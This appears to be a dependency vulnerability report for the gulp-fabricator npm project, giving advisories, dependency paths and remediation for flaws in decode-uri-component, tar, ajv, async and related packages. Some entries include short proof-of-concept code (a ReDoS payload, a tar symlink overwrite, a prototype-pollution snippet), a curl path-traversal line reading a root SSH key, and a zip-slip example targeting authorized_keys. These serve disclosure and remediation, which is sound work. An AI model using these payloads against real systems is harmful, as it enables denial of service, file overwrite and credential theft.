  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › globby@9.2.0 › fast-glob@2.2.7 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › globby@9.2.0 › fast-glob@2.2.7 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the customDecodeURIComponent function, which uses a quadratic replacement loop over percent-encoded runs. An attacker can supply a large input string containing many distinct percent-encoded sequences followed by a malformed token (e.g. %zz) to force the fallback decoder path, causing the replacement loop to iterate over an ever-growing replace map and take exponential time - approximately 20 seconds for a ~224 KB payload.

PoC

import decodeUriComponent from 'decode-uri-component';

let payload = '';
for (let i = 0; i < 32000; i++) {
    const high = Math.floor(i / 256).toString(16).padStart(2, '0');
    const low = (i % 256).toString(16).padStart(2, '0');
    payload += `%${high}%${low}x`; // distinct run each iteration
}
payload += '%zz'; // forces the fallback decoder

console.time('decode');
decodeUriComponent(payload); // ~224 KB
console.timeEnd('decode');

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade decode-uri-component to version 0.5.1 or higher.

References

high severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: postcss-selector-parser
  • Introduced through: gulp-lesshint@6.1.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › postcss-selector-parser@5.0.0

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the uniqs helper and index-membership checks in src/parser.js when parsing flat selectors (e.g. .a.a.a...) containing a large number of class or ID tokens. The original implementation uses Array.indexOf inside a filter callback and repeated linear scans of the hasClass/hasId arrays, producing quadratic time complexity proportional to the number of tokens. An attacker who can supply selector input to the parser can trigger CPU exhaustion by providing a long flat selector, pinning a CPU core and causing the process to become unresponsive.

Remediation

Upgrade postcss-selector-parser to version 6.1.5, 7.1.6 or higher.

References

high severity

Arbitrary File Overwrite

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to gulp-sass@5.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient symlink protection. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic is insufficient when extracting tar files that contain both a directory and a symlink with the same name as the directory. This order of operations results in the directory being created and added to the node-tar directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where node-tar checks for symlinks occur. By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location.

Remediation

Upgrade tar to version 3.2.3, 4.4.15, 5.0.7, 6.1.2 or higher.

References

high severity

Arbitrary File Overwrite

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to gulp-sass@5.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient absolute path sanitization.

node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the preservePaths flag is not set to true. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example, the path /home/user/.bashrc would turn into home/user/.bashrc.

This logic is insufficient when file paths contain repeated path roots such as ////home/user/.bashrc. node-tar only strips a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. ///home/user/.bashrc) still resolves to an absolute path.

Remediation

Upgrade tar to version 3.2.2, 4.4.14, 5.0.6, 6.1.1 or higher.

References

high severity

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.10 or higher.

References

high severity

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.

PoC


const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.11 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: ajv
  • Introduced through: gulp-sass-lint@1.4.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass-lint@1.4.0 › sass-lint@1.13.1 › eslint@2.13.1 › table@3.8.3 › ajv@4.11.8

Overview

ajv is an Another JSON Schema Validator

Affected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade ajv to version 6.12.3 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: async
  • Introduced through: gulp-htmlhint@3.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › async@2.6.1
    Remediation: Upgrade to gulp-htmlhint@4.0.2.

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the mapValues() method, due to improper check in createObjectIterator function.

PoC

//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))
const hasOwn = JSON.parse('{"__proto__": {"isAdmin": true}}');

//does not have the property,  because it's inside object's own "__proto__"
console.log(hasOwn.isAdmin);

async.mapValues(hasOwn, (val, key, cb) => cb(null, val), (error, result) => {
  // after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.
  console.log(result.isAdmin);
});

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade async to version 2.6.4, 3.2.2 or higher.

References

high severity

Excessive Platform Resource Consumption within a Loop

  • Vulnerable module: braces
  • Introduced through: gulp@4.0.2, gulp-nodemon@2.5.0 and others

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › braces@2.3.2
    Remediation: Upgrade to gulp@5.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
    Remediation: Upgrade to gulp@5.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › braces@2.3.2
    Remediation: Upgrade to gulp@5.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › globby@9.2.0 › fast-glob@2.2.7 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
